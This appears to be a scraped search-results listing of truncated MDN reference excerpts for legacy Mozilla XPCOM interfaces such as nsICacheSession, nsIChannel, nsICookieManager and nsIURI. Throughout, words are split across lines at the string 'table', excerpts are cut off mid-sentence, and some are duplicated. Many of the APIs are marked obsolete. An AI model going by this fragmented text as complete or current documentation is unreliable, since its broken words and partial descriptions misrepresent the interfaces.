table handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies. inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description dooment...
...rameters none. return value returns whether any of the cache devices implied by the session storage policy are currently enabled for instantiation or not, depending on their existence. opencacheentry() this method gives a synchronous cache access. it returns a unique descriptor each time it is called, even if the same key is specified. when called by multiple threads for write access, only one wri
table descriptor will be granted. if blockingmode is set to false, it will return ns_error_cache_wait_for_validation rather than block when another descriptor has been given write access but hasn't validated the entry yet. note: if at all possible, you should use asyncopencacheentry() instead of calling opencacheentry(), in order to avoid blocking on i/o on the calling thread. this will streamline over...
nsICachingChannel
inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins). support for "pinning" cached data in the cache (for printing and save-as). support for uniquely identifying cached data in cases when the url is insufficient. for example a http form submission. a channel may optionally implement this interface to allow clients to affect its behavior with respect to how it uses the cache service. ...
...plement this interface to allow clients to affect its behavior with respect to how it uses the cache service. method overview boolean isfromcache(); obsolete since gecko 2.0 attributes attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file. this may fail if the disk cache is not present. the value of this attribute is usually only set
table during the processing of a channel's onstartrequest. the default value of this attribute depends on the particular implementation of nsicachingchannel. cachefile nsifile get the "file" where the cached data can be found. this is valid for as long as a reference to the cache token is held. this may return an error if cacheasfile is false. read only. cacheforofflineuse boolean specifies whether...
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. ...
...ence to the channel, care must be taken to explicitly drop its reference to the channel. securityinfo nsisupports transport-level security information (if any, else null) corresponding to the channel, normally presented through the interfaces nsitransportsecurityinfo and nsisslstatusprovider read only. uri nsiuri the uri corresponding to the channel. its value is immu
table. read only. constants channel specific load flags: bits 23-31 are reserved for future use by this interface or one of its derivatives (for an example see nsicachingchannel). constant value description load_document_uri 16 set (for example by the docshell) to indicate whether or not the channel corresponds to a document uri. load_retargeted_document...
nsIClassInfo
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null. read only. classid nscidptr a classid through which an instance of this class can be created, or null. ...
...lags attribute of a nsiclassinfo implementation. obsolete since gecko 2.0 methods gethelperforlanguage() get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage. for example, if asked for the helper for nsiprogramminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscrip
table interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object. nsisupports gethelperforlanguage( in pruint32 language ); parameters language this parameter selects the language mapping specific helper object to be returned. nsiprogramminglanguage defines language identifiers that may be passed for this parameter. return value should return n...
nsICookieManager
last changed in gecko 1.7 inherits from: nsisupports this interface is intended to be used as a service. ...
... be found, no exception is thrown. typically, the arguments to this method will be obtained directly from the desired nsicookie object. void remove( in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes ); parameters ahost the host or domain for which the cookie was set. see nsicookiemanager2.add() for a description of accep
table host strings. if the target cookie is a domain cookie, a leading dot must be present. aname the name specified in the cookie. apath the path for which the cookie was set. ablocked indicates if cookies from this host should be permanently blocked. aoriginattributes the originattributes of this cookie. removeall() this method is called to remove all cookies from the cookie list. void re...
nsICookieManager2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager this interface is included in the services.jsm javascript code module. ...
...okie is set. presence of a leading dot indicates a domain cookie; otherwise, the cookie is treated as a non-domain cookie. see rfc2109 for details. the host string will be normalized to ascii or ace; any trailing dot will be stripped. to be a domain cookie, the host must have at least two subdomain parts (e.g. '.foo.com', not '.com'), otherwise an exception will be thrown. an empty string is accep
table (e.g. file:// uri's). apath the path within the domain for which the cookie is valid. aname the cookie name. avalue the cookie data. aissecure true if the cookie should only be sent over a secure connection. aishttponly true if the cookie should only be sent to, and can only be modified by, an http connection. aissession true if the cookie should exist for the current session only. a...
nsIDOMNSHTMLDocument
dom/interfaces/html/nsidomnshtmldocument.idlscrip
table this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2. inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...dy.alink bgcolor domstring same as body.bgcolor compatmode domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode. read only. designmode domstring set to "on" or "off" to enable or disable editing for the entire document at once. roughly equivalent to body.contentedi
table domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain. embeds nsidomhtmlcollection equivalent to getelementsbytagname("embed") read only. fgcolor domstring same as body.text head ...
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned. node_imported 2 the node was cloned into a new document. node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a new document. ...
... node_adopted 5 the node was adopted into a new document. methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted. void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of the node_* operation type constants from the above
table. key the key that was used to set the user data. data the data that was set on the original node. src the original node. dst the new node, for clone and import operations. ...
nsIDynamicContainer
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened. it can use the property bag on every result node to store data associated with each item, such as a full path on disk. it can also create additional containers for each container, registered to its service. ...
...container being opened. aoptions the options used to generate this query. containers should follow these when possible, for example, whether to expand queries, etc. implementations should use this when possible if adding query and folder nodes to the container. do not modify this value. oncontainerremoving() this method is called when the given container is about to be deleted from the bookmarks
table, so that the service can do any necessary cleanup. it is called before the container is deleted, so that the service can still reference it. void oncontainerremoving( in long long aitemid ); parameters aitemid the item-id of the container item. see also places nsinavhistorycontainerresultnode nsinavhistoryqueryoptions nsinavbookmarksservice.createdynamiccontainer() ...
nsIEditorDocShell
docshell/base/nsieditordocshell.idlscrip
table provides a way to get an editor from a specific frame in a docshell hierarchy. it is intended to be only used internally. inherits from: nsisupports last changed in gecko 1.7 use nsieditingsession.makewindowedi
table() and nsieditingsession.geteditorforwindow() from out side. method overview void makeedi
table(in boolean inwaitforuriload); attributes attribute type description edi
table boolean this docshell is edi
table. read only. editor nsieditor gets or sets the editor for the content document. haseditingsession boolean this docshell has an editing session. read only. ...
...di
table() and nsieditingsession.geteditorforwindow() from out side. method overview void makeedi
table(in boolean inwaitforuriload); attributes attribute type description edi
table boolean this docshell is edi
table. read only. editor nsieditor gets or sets the editor for the content document. haseditingsession boolean this docshell has an editing session. read only. methods makeedi
table() make this docshell edi
table, setting a flag that causes an editor to get created, either immediately, or after a url has been loaded. void makeedi
table( in boolean inwaitforuriload ); parameters inwaitforuriload true to wait for a uri before creating the editor. ...
nsIEnvironment
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/process/environment;1 as a service: var env = components.classes["@mozilla.org/process/environment;1"]. getservice(components.interfaces.nsienvironment); method overview void set(in astring aname, in astring avalue); astring get(in astring aname); boolean exists(in astring aname); methods set() set the value of an environment variable. void set( in astring aname, in astring avalue ); parameters aname the variable name to set. avalue the value to set. ...
...check the existence of an environment variable. this method checks whether an environment variable is present in the environment or not. note: * for unix/linux platforms we follow the unix definition: an environment variable exists when getenv() returns a non-null value. an environment variable does not exist when getenv() returns null. for non-unix/linux platforms we have to fall back to a "por
table" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not. boolean exists( in astring aname ); parameters aname the variable name to probe. return value if the variable has been set, the value returned is pr_true. if the variable was not defined in the environment pr_false will be returned. examples windows this e...
nsIException
inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description columnnumber pruint32 valid column numbers begin at 0. there is no unambiguous indicator for unknown. read only. data nsisupports arbitary data for the implementation. read only. filename string filename location. this is the location that caused the error, which may or may not be a source file location. for example, standard language errors would generally have the same location as their top stack entry. ...
...rame a stack trace, if available. read only. message string a custom message set by the thrower. [binaryname(messagemoz)] read only. name string the name of the error code (a string representation of result) read only. result nsresult the nsresult associated with this exception. read only. methods tostring() a generic formatter - make it sui
table to print, etc. string tostring(); parameters none. return value a string sui
table for output. ...
nsIFaviconService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1. ...
...ecko 22.0. you should use the new async api moziasyncfavicons.replacefavicondatafromdataurl() instead. this method stores the data of a given favicon. the data is provided using a data url string. this function tries to optimize the favicon size; if it's bigger than a defined limit, gecko attempts to convert it to a 16x16 pixel png image. if that fails and the image is bigger than a maximum accep
table favicon size, the entire operation fails and the favicon isn't saved. it is best to set the favicon data, and then associate it with a page. this will make the notifications more efficient since the icon will already have data when the set favicon observer messages goes out. the expiration time is stored. this will be used if you call setandloadfaviconforpage() to see whether the data needs reloa...
nsIFeedContainer
categories nsiarray an array of the categories found in a feed or entry. ...
...n objects describing the authors of the feed or entry. categories nsiarray an array of the categories found in a feed or entry. note: the returned array will contain nsifeedcategory objects, except that interface has not been implemented yet. contributors nsiarray an array of nsifeedperson objects describing contributors to the feed or entry. fields nsiwri
tablepropertybag2 provides access to all the fields found in the document. common atom and rss fields are normalized, including some namespaced extensions such as "dc:subject" and "content:encoded". consumers can avoid normalization by checking the feed type and accessing specific fields. common namespaces are accessed using prefixes, such as get("dc:subject");. see nsifeedresult.registerextensi...
nsIFileURL
callers must clone before attempting to modify the returned nsifile object. ...
... underlying nsifile object corresponding to a url. the url scheme need not be file:, since other local protocols may map urls to files (e.g., resource:). inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) attributes attribute type description file nsifile get/set nsifile corresponding to this url. the getter returns a reference to an immu
table object. callers must clone before attempting to modify the returned nsifile object. note: this constraint might not be enforced at runtime, so beware! the setter clones the nsifile object (allowing the caller to safely modify the nsifile object after setting it on this interface). ...
nsIIOService
these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces. inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler). note: nsiioservice may only be used from the main thread. ...
...ill fail (although this does not necessarily correlate with whether there is actually a network available -- that's hard to detect without causing the dialer to come up). observers will be notified of changes to this attribute. methods allowport() checks if a port number is banned. this involves consulting a list of unsafe ports, corresponding to network services that may be easily exploi
table. if the given port is considered unsafe, then the protocol handler (corresponding to ascheme) will be asked whether it wishes to override the io service's decision to block the port. this gives the protocol handler ultimate control over its own security policy while ensuring reasonable, default protection. is similar to nsiprotocolhandler.allowport(). boolean allowport( in long aport, in st...
nsIInputStream
inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method). a blocking input stream may suspend the calling thread in order to satisfy a call to close(), available(), read(), or readsegments(). a non-blocking input stream, on the other hand, must not block the calling thread of execution. note: blocking input streams are often read on a background thread to avoid locking up the main application thread. ...
... buffer copy. nsresult copystream(nsiinputstream* astream, nsacstring& aresultbuf) { uint32_t numread; return astream->readsegments(appendsegment, (void*) &aresultbuf, pr_uint32_max, &numread); } remarks this interface was frozen for gecko 1.0. see bug 124465 for details. from gecko 2.0 interfaces are no longer frozen. see also nsiwritesegmentfun nsiscrip
tableinputstream - if you need to read a stream from javascript. ...
nsIMsgDBView
window, in nsimsgdbviewcommandupdater acommandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void docommand(in nsmsgviewcommandtypevalue command); void docommandwithfolder(in nsmsgviewcommandtypevalue command, in nsimsgfolder destfolder); void getcommandstatus(in nsmsgviewcommandtypevalue command, out boolean selec
table_p, out nsmsgviewcommandcheckstatevalue selected_p); void viewnavigate(in nsmsgnavigationtypevalue motion, out nsmsgkey resultid, out nsmsgviewindex resultindex, out nsmsgviewindex threadindex, in boolean wrap); boolean navigatestatus(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index)...
...parameters command the nsmsgviewcommandtypevalue to perform. defined in the interface: nsmsgviewcommandtype. destfolder the folder to perform the command with. getcommandstatus() gets the status of a particular command. used by the thunderbird ui to determine if the command is available. void getcommandstatus(in nsmsgviewcommandtypevalue command, out boolean selec
table_p, out nsmsgviewcommandcheckstatevalue selected_p); parameters command the nsmsgviewcommandtypevalue to perform. defined in the interface: nsmsgviewcommandtype. return values selec
table_p the state of the command. true if it is enabled. false if it is disabled. selected_p the returned check state of the command. defined in the interface: nsmsgviewcommandchecks...
nsIMsgMessageService
must refer to a message and not a folder! void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); parameters amessageuri amsgwindow nsimsgwindow for progress and status feedback return values aurl the nsiuri of the message. displaymessageforprinting() when you want a message displayed in a format that is sui
table for printing. void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); parameters amessageuri a uri representing the message to display. adisplayconsumer ...
...: (taken from mozillazine) var content = ""; var messageuri = getfirstselectedmessage(); var msgservice = messenger.messageservicefromuri(messageuri); var msgstream = components.classes["@mozilla.org/network/sync-stream-listener;1"].createinstance(); var consumer = msgstream.queryinterface(components.interfaces.nsiinputstream); var scriptinput = components.classes["@mozilla.org/scrip
tableinputstream;1"].createinstance(); var scriptinputstream = scriptinput.queryinterface(components.interfaces.nsiscrip
tableinputstream); scriptinputstream.init(consumer); try { msgservice.streammessage(messageuri, msgstream, msgwindow, null, false, null); } catch (ex) { alert("error: "+ex) } scriptinputstream .available(); while (scriptinputstream .available()) { content = c...
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksservice.idlscrip
table this interface is an observer for bookmark changes. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method overview void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 fold...
...e items last modified time to, or 0 if the value should remain unchanged. aitemtype the type of the item that has been changed. this should be one of the nsinavbookmarksservice.type constants. aparentid the id of the folder containing the item. aguid the unique id associated with the item. aparentguid the unique id associated with the item's parent. notes this
table indicates what anewvalue should be depending on property specified by aproperty: property string value "cleartime" empty string; this property means the history was deleted, so there's no last visit date. "title" the new title for the item "favicon" the "moz-anno" url for the new favicon image. "uri" the new uri for the item. "t...
nsINavHistoryResultNode
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accesscount unsigned long total number of times the uri has been accessed. for hosts, this is the total number of the children under it, rather than the total number of times the host has been accessed (getting that information would require an additional query, so for performance reasons that information isn't given by default). ...
...s last modified. for other nodes, this value is 0. note: when an item is added lastmodified is set to the same value as dateadded. read only. parent nsinavhistorycontainerresultnode identifies the parent result node in the result set. the value is null for top level nodes. read only. parentresult nsinavhistoryresult the history-result to which this node belongs. read only. propertybag nsiwri
tablepropertybag you can use this to associate temporary information with the result node. this property bag is associated with the result node and is not persisted in any way. read only. obsolete since gecko 2.0 tags astring for uri nodes, this is a sorted list of the tags, delimited with commans, for the uri represented by this node. otherwise this is an empty string. read only. time prtime the t...
nsINavHistoryResultViewObserver
toolkit/components/places/public/nsinavhistoryservice.idlscrip
table this interface is used by clients of the history results to define domain-specific handling of specific nsitreeview methods that the history result doesn't implement. inherits from: nsisupports last changed in gecko 1.9.0 method overview boolean candrop(in long index, in long orientation); void ondrop(in long row, in long orientation); void ontoggleopenstate(in long index); void oncycleheader(in nsitreecolumn column); void oncyclecell(in long row, in nsitreecolumn column); void onselectionchanged(); void onperformaction(in wstring action); void onperformactiononrow(in wstring action, in long row); void onperformactiononcell(in wstring acti...
... or after the target row. ontoggleopenstate() called when an item is opened or closed. void ontoggleopenstate( in long index ); parameters index the item being toggled. oncycleheader() called when a header is clicked. void oncycleheader( in nsitreecolumn column ); parameters column the column whose header was clicked. oncyclecell() called when a cell in a non-selec
table cycling column (such as unread or flagged in thunderbird) is clicked. void oncyclecell( in long row, in nsitreecolumn column ); parameters row the row on which the clicked cell is located. column the column in which the clicked cell is located. onselectionchanged() called when the selection in the tree changes. void onselectionchanged(); parameters none. onperformacti...
nsIObserver
these notifications are often, though not always, broadcast via the nsiobserverservice. inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for. if you expect multiple topics/subjects, the implementor is responsible for filtering. you should not modify, add, remove, or enumerate notifications in the implementation of this method. ...
...moveobserver(this, "mytopicid"); } } instantiation - this should be fired once you're ready to start observing (for example a window's load event). observer = new myobserver(); destruction - this should be fired once you're done observing (for example a window's unload event). failure to do so may result in memory leaks. observer.unregister(); "get everything" - note that "*" is an accep
table value (be careful with this, because it observes many events, and can degrade performance). observer.register("*"); see also nsiobserverservice observer_notifications ...
nsIOutputStream
inherits from: nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method). a blocking output stream may suspend the calling thread in order to satisfy a call to close(), flush(), write(), writefrom(), or writesegments(). a non-blocking output stream, on the other hand, must not block the calling thread of execution. note: blocking output streams are often written to on a background thread to avoid locking up the main application thread. for this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release. ...
...able to accept any data without blocking. boolean isnonblocking(); parameters none. return value true if stream is non-blocking. exceptions thrown ns_base_stream_would_block a non-blocking stream may throw this exception when written to if space for the data is not immediately available. write() this method copies data from a buffer into the stream. note: though this method is scrip
table, javascript code must only pass an ascii character string as the abuf parameter. c++ code may however pass any arbitrary binary data, including data with embedded null bytes. unsigned long write( in string abuf, in unsigned long acount ); parameters abuf the buffer containing the data to be written. acount the size of the buffer, or the maximum number of bytes to copy from the buffer...
nsISeekableStream
inherits from: nsisupports last changed in gecko 1.7 method overview void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the start of the stream. ns_seek_cur 1 specifies that the offset is relative to the current position in the stream. ns_seek_end 2 specifies that the offset is relative to the end of the stream. methods seek() this method moves the stream offset of the stream implementing this interface. ...
...seek_end 2 specifies that the offset is relative to the end of the stream. methods seek() this method moves the stream offset of the stream implementing this interface. void seek( in long whence, in long long offset ); parameters whence specifies how to interpret the 'offset' parameter in setting the stream offset associated with the implementing stream, according to the
table of constants above. offset specifies a value, in bytes, that is used in conjunction with the 'whence' parameter to set the stream offset of the implementing stream. a negative value causes seeking in the reverse direction. exceptions thrown ns_base_stream_closed if called on a closed stream. seteof() this method truncates the stream at the current offset. void seteof(); parame...
nsIStackFrame
inherits from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description caller nsistackframe read only. filename string filename location. this is the location that caused the error, which may or may not be a source file location. for example, standard language errors would generally have the same location as their top stack entry. file parsers may put the location of the file they were parsing, and so forth. null indicates "no data" read only. language pruint32 see nsiprogramminglanguage for a list of language constants. read only. ...
... line numbers begin at '1'. '0' indicates unknown. read only. name string the name of the function at this point in the stack. read only. sourceline string the location of this function in filename read only. example to output the stack at a particular location: var s = components.stack; while(s) { console.log(s.name); s = s.caller; } methods tostring() a generic formatter - make it sui
table to print, and so forth. string tostring(); parameters none. return value a string sui
table for output. see also jsdistackframe ...
nsIStandardURL
netwerk/base/public/nsistandardurl.idlscrip
table this interface defines the interface to an url with the standard file path format common to protocols like http, ftp, and file. it supports initialization from a relative path and provides some customization on how urls are normalized. inherits from: nsimu
table last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-url;1. ...
...rg/network/standard-url;1. to create an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mu
table boolean control whether or not this url can be modified. protocol handlers can set this flag before handing out an url to ensure that it is not inadvertently modified. obsolete since gecko 1.9 constants these constants describe how to normalize an url. constant value description urltype_standard 1 blah:foo/bar => blah://foo/bar blah:/foo/bar => blah:///foo/bar blah://foo/bar => bl...
nsITextInputProcessorNotification
when gecko supports new notification to ime, this interface may have some new attributes. so, nsitextinputprocessorcallback won't be changed for keeping backward compatibility. attributes attribute type description type acstring the type of request or notification to ime. see type values below. ...
...e composition synchronously, it's okay to cancel it later (i.e., asynchronously). however, gecko will cancel the composition with empty string internally. this is typically notified when the editor is being removed from the dom tree during composition. "notify-detached" when the nsitextinputprocessor instance loses the rights to create composition, this is notified. "notify-focus" when an edi
table editor gets focus, this is notified. "notify-blur" when an edi
table editor loses focus, this is notified. ...
nsIToolkitProfileService
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1, this service is implemented by @mozilla.org/toolkit/profile-service;1. to access the service, you can use the following code: var toolkitprofileservice = components.classes["@mozilla.org/toolkit/profile-service;1"] .createinstance(components.interfaces.nsitoolkitprofileservice); prior to gecko 1.9.1 only the built-in profile manager was able to access the toolkit profile service. ...
... startoffline boolean startwithlastprofile boolean methods createprofile() creates a new profile. the profile temporary directory will be chosen based on where the profile directory is located. nsitoolkitprofile createprofile( in nsilocalfile arootdir, in autf8string aname ); parameters arootdir the profile directory. may be null, in which case a sui
table default will be chosen based on the profile name. aname the name to give the new profile. return value an nsitoolkitprofile object representing the newly-created profile. exceptions thrown ns_error_unexpected an unexpected error condition occurred. ns_error_file_not_directory one of the specified directory files is not actually a directory. ns_error_out_of_memory ...
nsIURI
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri. ...
...ri. if there is not one, an empty string is returned. note: some characters may be escaped. scheme acstring (us-ascii) the scheme is the protocol to which this uri refers. the scheme is restricted to the us-ascii charset per rfc3986. warning: setting this is highly discouraged outside of a protocol handler implementation, since doing so will generally lead to unpredic
table results. spec autf8string returns a string representation of the uri. setting the spec causes the new spec to be parsed using the rules for the scheme the uri currently has. if the string cannot be parsed as a uri, ns_error_malformed_uri thrown. warning: because parsing the string is done using the current uri's scheme, setting the spec to a uri with a different schem...
nsIVariant
but we mark all the methods and attributes [noscript] since any nsivariant object will be automatically converted to a js type anyway. ...
...but we mark all the methods and attributes [noscript] since any nsivariant object will be automatically converted to a js type anyway. ...
nsIWebBrowserChrome
inherits from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome. ...
...ndow modal (that is, currently executing a modal loop)? boolean iswindowmodal(); parameters none. return value true if it's a modal window. setstatus() called when the status text in the chrome needs to be updated. void setstatus( in unsigned long statustype, in wstring status ); parameters statustype indicates what is setting the text. status status string. null is an accep
table value meaning no status. showasmodal() shows the window as a modal window. void showasmodal(); parameters none. return value note: the function error code returned by this corresponds to the status value specified in exitmodaleventloop. sizebrowserto() tells the chrome to size itself such that the browser will be the specified size. void sizebrowserto( in long acx, in long acy ); parameter...
nsIWebBrowserChrome2
1.0 66 introduced gecko 1.9 inherits from: nsiwebbrowserchrome last changed in gecko 1.9 (firefox 3) method overview void setstatuswithcontext(in unsigned long statustype, in astring statustext, in nsisupports statuscontext); methods setstatuswithcontext() called when the status text in the chrome needs to be updated. this method may be called instead of nsiwebbrowserchrome.setstatus(). an implementor of this method, should still implement nsiwebbrowserchrome.setstatus(). ...
...pdated. this method may be called instead of nsiwebbrowserchrome.setstatus(). an implementor of this method, should still implement nsiwebbrowserchrome.setstatus(). void setstatuswithcontext( in unsigned long statustype, in astring statustext, in nsisupports statuscontext ); parameters statustype indicates what is setting the text. statustext status string. null is an accep
table value meaning no status. statuscontext an object that provides context pertaining to the status type. if statustype is status_link, then this may be a dom node corresponding to the source of the link. this value can be null if there is no context. see also nsiwebbrowserchrome ...
nsIXPConnect
js/src/xpconnect/idl/nsixpconnect.idlnot scrip
table provides the xpconnect service. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect service, use code like this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only! void clearallwrappednativesecuritypolicies(); nsixpconnectjsobjectholder createsandbox(in jscontextptr cx, in nsiprincipal principal); native code only! nsistackframe createstackframelocation(in pruint32 alanguage, in string afilename, in string afunctionname, i...
...meters ajscontext missing description aglobaljsobj missing description exceptions thrown missing exception missing description initclasseswithnewwrappedglobal() creates a new global object using the given acomobj as the global object. the object will be set up according to the flags (defined below). if you do not pass init_js_standard_classes, then acomobj must implement nsixpcscrip
table so it can resolve the standard classes when asked by the js engine. nsixpconnectjsobjectholder initclasseswithnewwrappedglobal( in jscontextptr ajscontext, in nsisupports acomobj, in nsiidref aiid, in nsiprincipal aprincipal, in nsisupports aextraptr, in pruint32 aflags ); parameters ajscontext the context to use while creating the global object. acomobj the native object tha...
nsIXULRuntime
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/xre/app-info;1. to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running. ...
... unsigned long the type of the caller's process. returns one of process type constants. read only. widgettoolkit autf8string a string tag identifying the target widget toolkit in use. this is taken from the moz_widget_toolkit configure variable. read only. xpcomabi autf8string a string tag identifying the binary abi of the current processor and compiler v
table. this is taken from the target_xpcom_abi configure variable. it may not be available on all platforms, especially unusual processor or compiler combinations. the result takes the form <processor>-<compilerabi>, for example: x86-msvc ppc-gcc3. this value should almost always be used in combination with os. may throw ns_error_not_available. read only. constants process typ...
nsIXULTemplateBuilder
such that a different query may match. if a different match would become active, the content for the existing match is removed and the content for the new match is generated. a query processor is not required to provide any support for updating results after they have been generated. see the template guide for more information about templates. /xul/templates/public/nsixultemplatebuilder.idlscrip
table please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void rebuild(); void refresh(); void addresult(in nsixultemplateresult aresult, in nsidomnode aquerynode); void removeresult(in nsixultemplateresult aresult); void replaceresult(in nsixultemplateresult aoldresult, in nsixultemplateresult anewresult, in nsidomno...
...l be removed first. the query processor's done() method will be invoked during cleanup, followed by its initializeforbuilding() method when the content is to be regenerated. void rebuild(); parameters none. refresh() reloads any rdf datasources that support nsirdfremotedatasource. note: this is a temporary hack so that remote-xul authors can reload remote datasources. when rdf becomes remote-scrip
table, this will no longer be necessary. void refresh(); parameters none. addresult() informs the template builder that a new result is available. the builder will add this result to the set of results. the query node that the new result applies to must be specified using the aquerynode parameter. the builder will apply the rules associated with the query to the new result, unless a result with the sam...
nsIXULTemplateQueryProcessor
there is a one-to-one relationship between a template builder and a query processor. the template builder creates the query processor, and there is no other means to retrieve it. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) a query processor takes a template query and generates results for it given a datasource and a reference point. there is a one-to-one relationship between a template builder and a query processor. ...
